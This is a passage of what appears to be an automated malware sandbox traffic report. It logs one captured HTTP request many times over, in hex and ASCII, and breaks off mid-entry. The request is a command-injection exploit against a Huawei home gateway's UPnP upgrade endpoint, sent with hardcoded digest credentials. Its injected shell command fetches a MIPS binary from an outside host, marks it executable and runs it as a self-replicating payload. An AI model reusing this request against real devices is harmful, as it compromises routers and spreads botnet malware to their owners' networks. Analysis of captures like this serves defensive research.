huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 